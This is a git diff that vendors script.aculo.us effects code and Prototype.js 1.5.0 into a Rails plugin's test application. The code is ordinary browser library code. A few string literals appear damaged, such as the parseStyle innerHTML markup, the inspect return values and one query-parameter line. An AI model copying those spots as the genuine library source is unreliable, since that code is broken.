'cssFloat', 'cueAfter', 'cueBefore', 'cursor', 'direction', + 'display', 'elevation', 'emptyCells', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', + 'fontStyle', 'fontVariant', 'fontWeight', 'height', 'left', 'letterSpacing', 'lineHeight', + 'listStyleImage', 'listStylePosition', 'listStyleType', 'marginBottom', 'marginLeft', 'marginRight', + 'marginTop', 'markerOffset', 'marks', 'maxHeight', 'maxWidth', 'minHeight', 'minWidth', 'opacity', + 'orphans', 'outlineColor', 'outlineOffset', 'outlineStyle', 'outlineWidth', 'overflowX', 'overflowY', + 'paddingBottom', 'paddingLeft', 'paddingRight', 'paddingTop', 'page', 'pageBreakAfter', 'pageBreakBefore', + 'pageBreakInside', 'pauseAfter', 'pauseBefore', 'pitch', 'pitchRange', 'position', 'quotes', + 'richness', 'right', 'size', 'speakHeader', 'speakNumeral', 'speakPunctuation', 'speechRate', 'stress', + 'tableLayout', 'textAlign', 'textDecoration', 'textIndent', 'textShadow', 'textTransform', 'top', + 'unicodeBidi', 'verticalAlign', 'visibility', 'voiceFamily', 'volume', 'whiteSpace', 'widows', + 'width', 'wordSpacing', 'zIndex']; + +Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/; + +String.prototype.parseStyle = function(){ + var element = Element.extend(document.createElement('div')); + element.innerHTML = '

    '; + var style = element.down().style, styleRules = $H(); + + Element.CSS_PROPERTIES.each(function(property){ + if(style[property]) styleRules[property] = style[property]; + }); + + var result = $H(); + + styleRules.each(function(pair){ + var property = pair[0], value = pair[1], unit = null; + + if(value.parseColor('#zzzzzz') != '#zzzzzz') { + value = value.parseColor(); + unit = 'color'; + } else if(Element.CSS_LENGTH.test(value)) + var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/), + value = parseFloat(components[1]), unit = (components.length == 3) ? components[2] : null; + + result[property.underscore().dasherize()] = $H({ value:value, unit:unit }); + }.bind(this)); + + return result; +}; + +Element.morph = function(element, style) { + new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || {})); + return element; +}; + +['setOpacity','getOpacity','getInlineOpacity','forceRerendering','setContentZoom', + 'collectTextNodes','collectTextNodesIgnoreClass','morph'].each( + function(f) { Element.Methods[f] = Element[f]; } +); + +Element.Methods.visualEffect = function(element, effect, options) { + s = effect.gsub(/_/, '-').camelize(); + effect_class = s.charAt(0).toUpperCase() + s.substring(1); + new Effect[effect_class](element, options); + return $(element); +}; + +Element.addMethods(); \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/javascripts/prototype.js b/vendor/plugins/shoulda/test/rails_root/public/javascripts/prototype.js new file mode 100644 index 0000000..5058221 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/javascripts/prototype.js @@ -0,0 +1,2515 @@ +/* Prototype JavaScript framework, version 1.5.0 + * (c) 2005-2007 Sam Stephenson + * + * Prototype is freely distributable under the terms of an MIT-style license. + * For details, see the Prototype web site: http://prototype.conio.net/ + * +/*--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.5.0', + BrowserFeatures: { + XPath: !!document.evaluate + }, + + ScriptFragment: '(?:)((\n|\r|.)*?)(?:<\/script>)', + emptyFunction: function() {}, + K: function(x) { return x } +} + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var Abstract = new Object(); + +Object.extend = function(destination, source) { + for (var property in source) { + destination[property] = source[property]; + } + return destination; +} + +Object.extend(Object, { + inspect: function(object) { + try { + if (object === undefined) return 'undefined'; + if (object === null) return 'null'; + return object.inspect ? object.inspect() : object.toString(); + } catch (e) { + if (e instanceof RangeError) return '...'; + throw e; + } + }, + + keys: function(object) { + var keys = []; + for (var property in object) + keys.push(property); + return keys; + }, + + values: function(object) { + var values = []; + for (var property in object) + values.push(object[property]); + return values; + }, + + clone: function(object) { + return Object.extend({}, object); + } +}); + +Function.prototype.bind = function() { + var __method = this, args = $A(arguments), object = args.shift(); + return function() { + return __method.apply(object, args.concat($A(arguments))); + } +} + +Function.prototype.bindAsEventListener = function(object) { + var __method = this, args = $A(arguments), object = args.shift(); + return function(event) { + return __method.apply(object, [( event || window.event)].concat(args).concat($A(arguments))); + } +} + +Object.extend(Number.prototype, { + toColorPart: function() { + var digits = this.toString(16); + if (this < 16) return '0' + digits; + return digits; + }, + + succ: function() { + return this + 1; + }, + + times: function(iterator) { + $R(0, this, true).each(iterator); + return this; + } +}); + +var Try = { + these: function() { + var returnValue; + + for (var i = 0, length = arguments.length; i < length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create(); +PeriodicalExecuter.prototype = { + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + stop: function() { + if (!this.timer) return; + clearInterval(this.timer); + this.timer = null; + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.callback(this); + } finally { + this.currentlyExecuting = false; + } + } + } +} +String.interpret = function(value){ + return value == null ? '' : String(value); +} + +Object.extend(String.prototype, { + gsub: function(pattern, replacement) { + var result = '', source = this, match; + replacement = arguments.callee.prepareReplacement(replacement); + + while (source.length > 0) { + if (match = source.match(pattern)) { + result += source.slice(0, match.index); + result += String.interpret(replacement(match)); + source = source.slice(match.index + match[0].length); + } else { + result += source, source = ''; + } + } + return result; + }, + + sub: function(pattern, replacement, count) { + replacement = this.gsub.prepareReplacement(replacement); + count = count === undefined ? 1 : count; + + return this.gsub(pattern, function(match) { + if (--count < 0) return match[0]; + return replacement(match); + }); + }, + + scan: function(pattern, iterator) { + this.gsub(pattern, iterator); + return this; + }, + + truncate: function(length, truncation) { + length = length || 30; + truncation = truncation === undefined ? '...' : truncation; + return this.length > length ? + this.slice(0, length - truncation.length) + truncation : this; + }, + + strip: function() { + return this.replace(/^\s+/, '').replace(/\s+$/, ''); + }, + + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + stripScripts: function() { + return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); + }, + + extractScripts: function() { + var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); + var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); + return (this.match(matchAll) || []).map(function(scriptTag) { + return (scriptTag.match(matchOne) || ['', ''])[1]; + }); + }, + + evalScripts: function() { + return this.extractScripts().map(function(script) { return eval(script) }); + }, + + escapeHTML: function() { + var div = document.createElement('div'); + var text = document.createTextNode(this); + div.appendChild(text); + return div.innerHTML; + }, + + unescapeHTML: function() { + var div = document.createElement('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0] ? (div.childNodes.length > 1 ? + $A(div.childNodes).inject('',function(memo,node){ return memo+node.nodeValue }) : + div.childNodes[0].nodeValue) : ''; + }, + + toQueryParams: function(separator) { + var match = this.strip().match(/([^?#]*)(#.*)?$/); + if (!match) return {}; + + return match[1].split(separator || '&').inject({}, function(hash, pair) { + if ((pair = pair.split('='))[0]) { + var name = decodeURIComponent(pair[0]); + var value = pair[1] ? decodeURIComponent(pair[1]) : undefined; + + if (hash[name] !== undefined) { + if (hash[name].constructor != Array) + hash[name] = [hash[name]]; + if (value) hash[name].push(value); + } + else hash[name] = value; + } + return hash; + }); + }, + + toArray: function() { + return this.split(''); + }, + + succ: function() { + return this.slice(0, this.length - 1) + + String.fromCharCode(this.charCodeAt(this.length - 1) + 1); + }, + + camelize: function() { + var parts = this.split('-'), len = parts.length; + if (len == 1) return parts[0]; + + var camelized = this.charAt(0) == '-' + ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1) + : parts[0]; + + for (var i = 1; i < len; i++) + camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1); + + return camelized; + }, + + capitalize: function(){ + return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase(); + }, + + underscore: function() { + return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase(); + }, + + dasherize: function() { + return this.gsub(/_/,'-'); + }, + + inspect: function(useDoubleQuotes) { + var escapedString = this.replace(/\\/g, '\\\\'); + if (useDoubleQuotes) + return '"' + escapedString.replace(/"/g, '\\"') + '"'; + else + return "'" + escapedString.replace(/'/g, '\\\'') + "'"; + } +}); + +String.prototype.gsub.prepareReplacement = function(replacement) { + if (typeof replacement == 'function') return replacement; + var template = new Template(replacement); + return function(match) { return template.evaluate(match) }; +} + +String.prototype.parseQuery = String.prototype.toQueryParams; + +var Template = Class.create(); +Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; +Template.prototype = { + initialize: function(template, pattern) { + this.template = template.toString(); + this.pattern = pattern || Template.Pattern; + }, + + evaluate: function(object) { + return this.template.gsub(this.pattern, function(match) { + var before = match[1]; + if (before == '\\') return match[2]; + return before + String.interpret(object[match[3]]); + }); + } +} + +var $break = new Object(); +var $continue = new Object(); + +var Enumerable = { + each: function(iterator) { + var index = 0; + try { + this._each(function(value) { + try { + iterator(value, index++); + } catch (e) { + if (e != $continue) throw e; + } + }); + } catch (e) { + if (e != $break) throw e; + } + return this; + }, + + eachSlice: function(number, iterator) { + var index = -number, slices = [], array = this.toArray(); + while ((index += number) < array.length) + slices.push(array.slice(index, index+number)); + return slices.map(iterator); + }, + + all: function(iterator) { + var result = true; + this.each(function(value, index) { + result = result && !!(iterator || Prototype.K)(value, index); + if (!result) throw $break; + }); + return result; + }, + + any: function(iterator) { + var result = false; + this.each(function(value, index) { + if (result = !!(iterator || Prototype.K)(value, index)) + throw $break; + }); + return result; + }, + + collect: function(iterator) { + var results = []; + this.each(function(value, index) { + results.push((iterator || Prototype.K)(value, index)); + }); + return results; + }, + + detect: function(iterator) { + var result; + this.each(function(value, index) { + if (iterator(value, index)) { + result = value; + throw $break; + } + }); + return result; + }, + + findAll: function(iterator) { + var results = []; + this.each(function(value, index) { + if (iterator(value, index)) + results.push(value); + }); + return results; + }, + + grep: function(pattern, iterator) { + var results = []; + this.each(function(value, index) { + var stringValue = value.toString(); + if (stringValue.match(pattern)) + results.push((iterator || Prototype.K)(value, index)); + }) + return results; + }, + + include: function(object) { + var found = false; + this.each(function(value) { + if (value == object) { + found = true; + throw $break; + } + }); + return found; + }, + + inGroupsOf: function(number, fillWith) { + fillWith = fillWith === undefined ? null : fillWith; + return this.eachSlice(number, function(slice) { + while(slice.length < number) slice.push(fillWith); + return slice; + }); + }, + + inject: function(memo, iterator) { + this.each(function(value, index) { + memo = iterator(memo, value, index); + }); + return memo; + }, + + invoke: function(method) { + var args = $A(arguments).slice(1); + return this.map(function(value) { + return value[method].apply(value, args); + }); + }, + + max: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value >= result) + result = value; + }); + return result; + }, + + min: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value < result) + result = value; + }); + return result; + }, + + partition: function(iterator) { + var trues = [], falses = []; + this.each(function(value, index) { + ((iterator || Prototype.K)(value, index) ? + trues : falses).push(value); + }); + return [trues, falses]; + }, + + pluck: function(property) { + var results = []; + this.each(function(value, index) { + results.push(value[property]); + }); + return results; + }, + + reject: function(iterator) { + var results = []; + this.each(function(value, index) { + if (!iterator(value, index)) + results.push(value); + }); + return results; + }, + + sortBy: function(iterator) { + return this.map(function(value, index) { + return {value: value, criteria: iterator(value, index)}; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }).pluck('value'); + }, + + toArray: function() { + return this.map(); + }, + + zip: function() { + var iterator = Prototype.K, args = $A(arguments); + if (typeof args.last() == 'function') + iterator = args.pop(); + + var collections = [this].concat(args).map($A); + return this.map(function(value, index) { + return iterator(collections.pluck(index)); + }); + }, + + size: function() { + return this.toArray().length; + }, + + inspect: function() { + return '#'; + } +} + +Object.extend(Enumerable, { + map: Enumerable.collect, + find: Enumerable.detect, + select: Enumerable.findAll, + member: Enumerable.include, + entries: Enumerable.toArray +}); +var $A = Array.from = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for (var i = 0, length = iterable.length; i < length; i++) + results.push(iterable[i]); + return results; + } +} + +Object.extend(Array.prototype, Enumerable); + +if (!Array.prototype._reverse) + Array.prototype._reverse = Array.prototype.reverse; + +Object.extend(Array.prototype, { + _each: function(iterator) { + for (var i = 0, length = this.length; i < length; i++) + iterator(this[i]); + }, + + clear: function() { + this.length = 0; + return this; + }, + + first: function() { + return this[0]; + }, + + last: function() { + return this[this.length - 1]; + }, + + compact: function() { + return this.select(function(value) { + return value != null; + }); + }, + + flatten: function() { + return this.inject([], function(array, value) { + return array.concat(value && value.constructor == Array ? + value.flatten() : [value]); + }); + }, + + without: function() { + var values = $A(arguments); + return this.select(function(value) { + return !values.include(value); + }); + }, + + indexOf: function(object) { + for (var i = 0, length = this.length; i < length; i++) + if (this[i] == object) return i; + return -1; + }, + + reverse: function(inline) { + return (inline !== false ? this : this.toArray())._reverse(); + }, + + reduce: function() { + return this.length > 1 ? this : this[0]; + }, + + uniq: function() { + return this.inject([], function(array, value) { + return array.include(value) ? array : array.concat([value]); + }); + }, + + clone: function() { + return [].concat(this); + }, + + size: function() { + return this.length; + }, + + inspect: function() { + return '[' + this.map(Object.inspect).join(', ') + ']'; + } +}); + +Array.prototype.toArray = Array.prototype.clone; + +function $w(string){ + string = string.strip(); + return string ? string.split(/\s+/) : []; +} + +if(window.opera){ + Array.prototype.concat = function(){ + var array = []; + for(var i = 0, length = this.length; i < length; i++) array.push(this[i]); + for(var i = 0, length = arguments.length; i < length; i++) { + if(arguments[i].constructor == Array) { + for(var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++) + array.push(arguments[i][j]); + } else { + array.push(arguments[i]); + } + } + return array; + } +} +var Hash = function(obj) { + Object.extend(this, obj || {}); +}; + +Object.extend(Hash, { + toQueryString: function(obj) { + var parts = []; + + this.prototype._each.call(obj, function(pair) { + if (!pair.key) return; + + if (pair.value && pair.value.constructor == Array) { + var values = pair.value.compact(); + if (values.length < 2) pair.value = values.reduce(); + else { + key = encodeURIComponent(pair.key); + values.each(function(value) { + value = value != undefined ? encodeURIComponent(value) : ''; + parts.push(key + '=' + encodeURIComponent(value)); + }); + return; + } + } + if (pair.value == undefined) pair[1] = ''; + parts.push(pair.map(encodeURIComponent).join('=')); + }); + + return parts.join('&'); + } +}); + +Object.extend(Hash.prototype, Enumerable); +Object.extend(Hash.prototype, { + _each: function(iterator) { + for (var key in this) { + var value = this[key]; + if (value && value == Hash.prototype[key]) continue; + + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + }, + + keys: function() { + return this.pluck('key'); + }, + + values: function() { + return this.pluck('value'); + }, + + merge: function(hash) { + return $H(hash).inject(this, function(mergedHash, pair) { + mergedHash[pair.key] = pair.value; + return mergedHash; + }); + }, + + remove: function() { + var result; + for(var i = 0, length = arguments.length; i < length; i++) { + var value = this[arguments[i]]; + if (value !== undefined){ + if (result === undefined) result = value; + else { + if (result.constructor != Array) result = [result]; + result.push(value) + } + } + delete this[arguments[i]]; + } + return result; + }, + + toQueryString: function() { + return Hash.toQueryString(this); + }, + + inspect: function() { + return '#'; + } +}); + +function $H(object) { + if (object && object.constructor == Hash) return object; + return new Hash(object); +}; +ObjectRange = Class.create(); +Object.extend(ObjectRange.prototype, Enumerable); +Object.extend(ObjectRange.prototype, { + initialize: function(start, end, exclusive) { + this.start = start; + this.end = end; + this.exclusive = exclusive; + }, + + _each: function(iterator) { + var value = this.start; + while (this.include(value)) { + iterator(value); + value = value.succ(); + } + }, + + include: function(value) { + if (value < this.start) + return false; + if (this.exclusive) + return value < this.end; + return value <= this.end; + } +}); + +var $R = function(start, end, exclusive) { + return new ObjectRange(start, end, exclusive); +} + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new XMLHttpRequest()}, + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')} + ) || false; + }, + + activeRequestCount: 0 +} + +Ajax.Responders = { + responders: [], + + _each: function(iterator) { + this.responders._each(iterator); + }, + + register: function(responder) { + if (!this.include(responder)) + this.responders.push(responder); + }, + + unregister: function(responder) { + this.responders = this.responders.without(responder); + }, + + dispatch: function(callback, request, transport, json) { + this.each(function(responder) { + if (typeof responder[callback] == 'function') { + try { + responder[callback].apply(responder, [request, transport, json]); + } catch (e) {} + } + }); + } +}; + +Object.extend(Ajax.Responders, Enumerable); + +Ajax.Responders.register({ + onCreate: function() { + Ajax.activeRequestCount++; + }, + onComplete: function() { + Ajax.activeRequestCount--; + } +}); + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + contentType: 'application/x-www-form-urlencoded', + encoding: 'UTF-8', + parameters: '' + } + Object.extend(this.options, options || {}); + + this.options.method = this.options.method.toLowerCase(); + if (typeof this.options.parameters == 'string') + this.options.parameters = this.options.parameters.toQueryParams(); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = Object.extend(new Ajax.Base(), { + _complete: false, + + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + this.request(url); + }, + + request: function(url) { + this.url = url; + this.method = this.options.method; + var params = this.options.parameters; + + if (!['get', 'post'].include(this.method)) { + // simulate other verbs over post + params['_method'] = this.method; + this.method = 'post'; + } + + params = Hash.toQueryString(params); + if (params && /Konqueror|Safari|KHTML/.test(navigator.userAgent)) params += '&_=' + + // when GET, append parameters to URL + if (this.method == 'get' && params) + this.url += (this.url.indexOf('?') > -1 ? '&' : '?') + params; + + try { + Ajax.Responders.dispatch('onCreate', this, this.transport); + + this.transport.open(this.method.toUpperCase(), this.url, + this.options.asynchronous); + + if (this.options.asynchronous) + setTimeout(function() { this.respondToReadyState(1) }.bind(this), 10); + + this.transport.onreadystatechange = this.onStateChange.bind(this); + this.setRequestHeaders(); + + var body = this.method == 'post' ? (this.options.postBody || params) : null; + + this.transport.send(body); + + /* Force Firefox to handle ready state 4 for synchronous requests */ + if (!this.options.asynchronous && this.transport.overrideMimeType) + this.onStateChange(); + + } + catch (e) { + this.dispatchException(e); + } + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState > 1 && !((readyState == 4) && this._complete)) + this.respondToReadyState(this.transport.readyState); + }, + + setRequestHeaders: function() { + var headers = { + 'X-Requested-With': 'XMLHttpRequest', + 'X-Prototype-Version': Prototype.Version, + 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*' + }; + + if (this.method == 'post') { + headers['Content-type'] = this.options.contentType + + (this.options.encoding ? '; charset=' + this.options.encoding : ''); + + /* Force "Connection: close" for older Mozilla browsers to work + * around a bug where XMLHttpRequest sends an incorrect + * Content-length header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType && + (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005) + headers['Connection'] = 'close'; + } + + // user-defined headers + if (typeof this.options.requestHeaders == 'object') { + var extras = this.options.requestHeaders; + + if (typeof extras.push == 'function') + for (var i = 0, length = extras.length; i < length; i += 2) + headers[extras[i]] = extras[i+1]; + else + $H(extras).each(function(pair) { headers[pair.key] = pair.value }); + } + + for (var name in headers) + this.transport.setRequestHeader(name, headers[name]); + }, + + success: function() { + return !this.transport.status + || (this.transport.status >= 200 && this.transport.status < 300); + }, + + respondToReadyState: function(readyState) { + var state = Ajax.Request.Events[readyState]; + var transport = this.transport, json = this.evalJSON(); + + if (state == 'Complete') { + try { + this._complete = true; + (this.options['on' + this.transport.status] + || this.options['on' + (this.success() ? 'Success' : 'Failure')] + || Prototype.emptyFunction)(transport, json); + } catch (e) { + this.dispatchException(e); + } + + if ((this.getHeader('Content-type') || 'text/javascript').strip(). + match(/^(text|application)\/(x-)?(java|ecma)script(;.*)?$/i)) + this.evalResponse(); + } + + try { + (this.options['on' + state] || Prototype.emptyFunction)(transport, json); + Ajax.Responders.dispatch('on' + state, this, transport, json); + } catch (e) { + this.dispatchException(e); + } + + if (state == 'Complete') { + // avoid memory leak in MSIE: clean up + this.transport.onreadystatechange = Prototype.emptyFunction; + } + }, + + getHeader: function(name) { + try { + return this.transport.getResponseHeader(name); + } catch (e) { return null } + }, + + evalJSON: function() { + try { + var json = this.getHeader('X-JSON'); + return json ? eval('(' + json + ')') : null; + } catch (e) { return null } + }, + + evalResponse: function() { + try { + return eval(this.transport.responseText); + } catch (e) { + this.dispatchException(e); + } + }, + + dispatchException: function(exception) { + (this.options.onException || Prototype.emptyFunction)(this, exception); + Ajax.Responders.dispatch('onException', this, exception); + } +}); + +Ajax.Updater = Class.create(); + +Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { + initialize: function(container, url, options) { + this.container = { + success: (container.success || container), + failure: (container.failure || (container.success ? null : container)) + } + + this.transport = Ajax.getTransport(); + this.setOptions(options); + + var onComplete = this.options.onComplete || Prototype.emptyFunction; + this.options.onComplete = (function(transport, param) { + this.updateContent(); + onComplete(transport, param); + }).bind(this); + + this.request(url); + }, + + updateContent: function() { + var receiver = this.container[this.success() ? 'success' : 'failure']; + var response = this.transport.responseText; + + if (!this.options.evalScripts) response = response.stripScripts(); + + if (receiver = $(receiver)) { + if (this.options.insertion) + new this.options.insertion(receiver, response); + else + receiver.update(response); + } + + if (this.success()) { + if (this.onComplete) + setTimeout(this.onComplete.bind(this), 10); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(); +Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { + initialize: function(container, url, options) { + this.setOptions(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = (this.options.decay || 1); + + this.updater = {}; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.options.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Prototype.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(request) { + if (this.options.decay) { + this.decay = (request.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = request.responseText; + } + this.timer = setTimeout(this.onTimerEvent.bind(this), + this.decay * this.frequency * 1000); + }, + + onTimerEvent: function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); +function $(element) { + if (arguments.length > 1) { + for (var i = 0, elements = [], length = arguments.length; i < length; i++) + elements.push($(arguments[i])); + return elements; + } + if (typeof element == 'string') + element = document.getElementById(element); + return Element.extend(element); +} + +if (Prototype.BrowserFeatures.XPath) { + document._getElementsByXPath = function(expression, parentElement) { + var results = []; + var query = document.evaluate(expression, $(parentElement) || document, + null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); + for (var i = 0, length = query.snapshotLength; i < length; i++) + results.push(query.snapshotItem(i)); + return results; + }; +} + +document.getElementsByClassName = function(className, parentElement) { + if (Prototype.BrowserFeatures.XPath) { + var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]"; + return document._getElementsByXPath(q, parentElement); + } else { + var children = ($(parentElement) || document.body).getElementsByTagName('*'); + var elements = [], child; + for (var i = 0, length = children.length; i < length; i++) { + child = children[i]; + if (Element.hasClassName(child, className)) + elements.push(Element.extend(child)); + } + return elements; + } +}; + +/*--------------------------------------------------------------------------*/ + +if (!window.Element) + var Element = new Object(); + +Element.extend = function(element) { + if (!element || _nativeExtensions || element.nodeType == 3) return element; + + if (!element._extended && element.tagName && element != window) { + var methods = Object.clone(Element.Methods), cache = Element.extend.cache; + + if (element.tagName == 'FORM') + Object.extend(methods, Form.Methods); + if (['INPUT', 'TEXTAREA', 'SELECT'].include(element.tagName)) + Object.extend(methods, Form.Element.Methods); + + Object.extend(methods, Element.Methods.Simulated); + + for (var property in methods) { + var value = methods[property]; + if (typeof value == 'function' && !(property in element)) + element[property] = cache.findOrStore(value); + } + } + + element._extended = true; + return element; +}; + +Element.extend.cache = { + findOrStore: function(value) { + return this[value] = this[value] || function() { + return value.apply(null, [this].concat($A(arguments))); + } + } +}; + +Element.Methods = { + visible: function(element) { + return $(element).style.display != 'none'; + }, + + toggle: function(element) { + element = $(element); + Element[Element.visible(element) ? 'hide' : 'show'](element); + return element; + }, + + hide: function(element) { + $(element).style.display = 'none'; + return element; + }, + + show: function(element) { + $(element).style.display = ''; + return element; + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + return element; + }, + + update: function(element, html) { + html = typeof html == 'undefined' ? '' : html.toString(); + $(element).innerHTML = html.stripScripts(); + setTimeout(function() {html.evalScripts()}, 10); + return element; + }, + + replace: function(element, html) { + element = $(element); + html = typeof html == 'undefined' ? '' : html.toString(); + if (element.outerHTML) { + element.outerHTML = html.stripScripts(); + } else { + var range = element.ownerDocument.createRange(); + range.selectNodeContents(element); + element.parentNode.replaceChild( + range.createContextualFragment(html.stripScripts()), element); + } + setTimeout(function() {html.evalScripts()}, 10); + return element; + }, + + inspect: function(element) { + element = $(element); + var result = '<' + element.tagName.toLowerCase(); + $H({'id': 'id', 'className': 'class'}).each(function(pair) { + var property = pair.first(), attribute = pair.last(); + var value = (element[property] || '').toString(); + if (value) result += ' ' + attribute + '=' + value.inspect(true); + }); + return result + '>'; + }, + + recursivelyCollect: function(element, property) { + element = $(element); + var elements = []; + while (element = element[property]) + if (element.nodeType == 1) + elements.push(Element.extend(element)); + return elements; + }, + + ancestors: function(element) { + return $(element).recursivelyCollect('parentNode'); + }, + + descendants: function(element) { + return $A($(element).getElementsByTagName('*')); + }, + + immediateDescendants: function(element) { + if (!(element = $(element).firstChild)) return []; + while (element && element.nodeType != 1) element = element.nextSibling; + if (element) return [element].concat($(element).nextSiblings()); + return []; + }, + + previousSiblings: function(element) { + return $(element).recursivelyCollect('previousSibling'); + }, + + nextSiblings: function(element) { + return $(element).recursivelyCollect('nextSibling'); + }, + + siblings: function(element) { + element = $(element); + return element.previousSiblings().reverse().concat(element.nextSiblings()); + }, + + match: function(element, selector) { + if (typeof selector == 'string') + selector = new Selector(selector); + return selector.match($(element)); + }, + + up: function(element, expression, index) { + return Selector.findElement($(element).ancestors(), expression, index); + }, + + down: function(element, expression, index) { + return Selector.findElement($(element).descendants(), expression, index); + }, + + previous: function(element, expression, index) { + return Selector.findElement($(element).previousSiblings(), expression, index); + }, + + next: function(element, expression, index) { + return Selector.findElement($(element).nextSiblings(), expression, index); + }, + + getElementsBySelector: function() { + var args = $A(arguments), element = $(args.shift()); + return Selector.findChildElements(element, args); + }, + + getElementsByClassName: function(element, className) { + return document.getElementsByClassName(className, element); + }, + + readAttribute: function(element, name) { + element = $(element); + if (document.all && !window.opera) { + var t = Element._attributeTranslations; + if (t.values[name]) return t.values[name](element, name); + if (t.names[name]) name = t.names[name]; + var attribute = element.attributes[name]; + if(attribute) return attribute.nodeValue; + } + return element.getAttribute(name); + }, + + getHeight: function(element) { + return $(element).getDimensions().height; + }, + + getWidth: function(element) { + return $(element).getDimensions().width; + }, + + classNames: function(element) { + return new Element.ClassNames(element); + }, + + hasClassName: function(element, className) { + if (!(element = $(element))) return; + var elementClassName = element.className; + if (elementClassName.length == 0) return false; + if (elementClassName == className || + elementClassName.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) + return true; + return false; + }, + + addClassName: function(element, className) { + if (!(element = $(element))) return; + Element.classNames(element).add(className); + return element; + }, + + removeClassName: function(element, className) { + if (!(element = $(element))) return; + Element.classNames(element).remove(className); + return element; + }, + + toggleClassName: function(element, className) { + if (!(element = $(element))) return; + Element.classNames(element)[element.hasClassName(className) ? 'remove' : 'add'](className); + return element; + }, + + observe: function() { + Event.observe.apply(Event, arguments); + return $A(arguments).first(); + }, + + stopObserving: function() { + Event.stopObserving.apply(Event, arguments); + return $A(arguments).first(); + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + element = $(element); + var node = element.firstChild; + while (node) { + var nextNode = node.nextSibling; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + element.removeChild(node); + node = nextNode; + } + return element; + }, + + empty: function(element) { + return $(element).innerHTML.match(/^\s*$/); + }, + + descendantOf: function(element, ancestor) { + element = $(element), ancestor = $(ancestor); + while (element = element.parentNode) + if (element == ancestor) return true; + return false; + }, + + scrollTo: function(element) { + element = $(element); + var pos = Position.cumulativeOffset(element); + window.scrollTo(pos[0], pos[1]); + return element; + }, + + getStyle: function(element, style) { + element = $(element); + if (['float','cssFloat'].include(style)) + style = (typeof element.style.styleFloat != 'undefined' ? 'styleFloat' : 'cssFloat'); + style = style.camelize(); + var value = element.style[style]; + if (!value) { + if (document.defaultView && document.defaultView.getComputedStyle) { + var css = document.defaultView.getComputedStyle(element, null); + value = css ? css[style] : null; + } else if (element.currentStyle) { + value = element.currentStyle[style]; + } + } + + if((value == 'auto') && ['width','height'].include(style) && (element.getStyle('display') != 'none')) + value = element['offset'+style.capitalize()] + 'px'; + + if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) + if (Element.getStyle(element, 'position') == 'static') value = 'auto'; + if(style == 'opacity') { + if(value) return parseFloat(value); + if(value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/)) + if(value[1]) return parseFloat(value[1]) / 100; + return 1.0; + 